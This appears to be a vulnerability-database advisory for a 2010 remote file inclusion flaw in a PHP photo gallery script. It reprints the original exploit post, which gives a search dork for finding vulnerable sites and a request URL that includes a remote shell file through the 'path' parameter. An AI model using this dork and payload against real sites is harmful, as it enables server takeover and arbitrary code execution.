Free PHP photo gallery script Remote File inclusion

vendor:

Free PHP photo gallery script

by:

ViRuS Qalaa

7,5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: Free PHP photo gallery script

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2010

Free PHP photo gallery script Remote File inclusion

A vulnerability exists in the Free PHP photo gallery script, which allows a remote attacker to include a file from a remote location. The vulnerability is due to the 'include_once($path)' function in the '/jadro/libs/adodb/adodb.inc.php' file, which is located at line 4227. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request containing a maliciously crafted 'path' parameter. This will allow the attacker to include a remote file, resulting in arbitrary code execution.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should update to the latest version of the Free PHP photo gallery script.

Source

Exploit-DB raw data:

# Exploit Title:   Free PHP photo gallery script Remote File inclusion
Vulnerability
# Date: 2010/07/21
# Author: ViRuS Qalaa
# Email: em9@live.com
# My Sites : www.pal-mafia.com & www.vbspiders.com
# Script home: http://www.phpgalleryscript.org
# download Script: http://phpweby.com/downloads/gallery
# Tested on: Windows
# Team hacker:ViRuS Qalaa & HaCkEr aRaR >>>X-MaN HaCk3r TeaM
# HaCkEr aRaR: y.0@hotmail.de
:::::::::::::::::::::::::
Iam ViRuS Qalaa Frome Iraq Hackers
=================Exploit=================

-=[ vuln c0de ]=-
include_once($path);
/jadro/libs/adodb/adodb.inc.php
Line:4227

----exploit----
Dork: "PHP Gallery © 2010 PHP Weby hostgator coupon"

http://{localhost}/{path}/jadro/libs/adodb/adodb.inc.php?path=shell.txt?

---------greatz----------
Greatz to :
hacker arar,ViRuS KSA,Q2,Spy-iq

and My friends Others and My friends in MSN
EnJoY o_O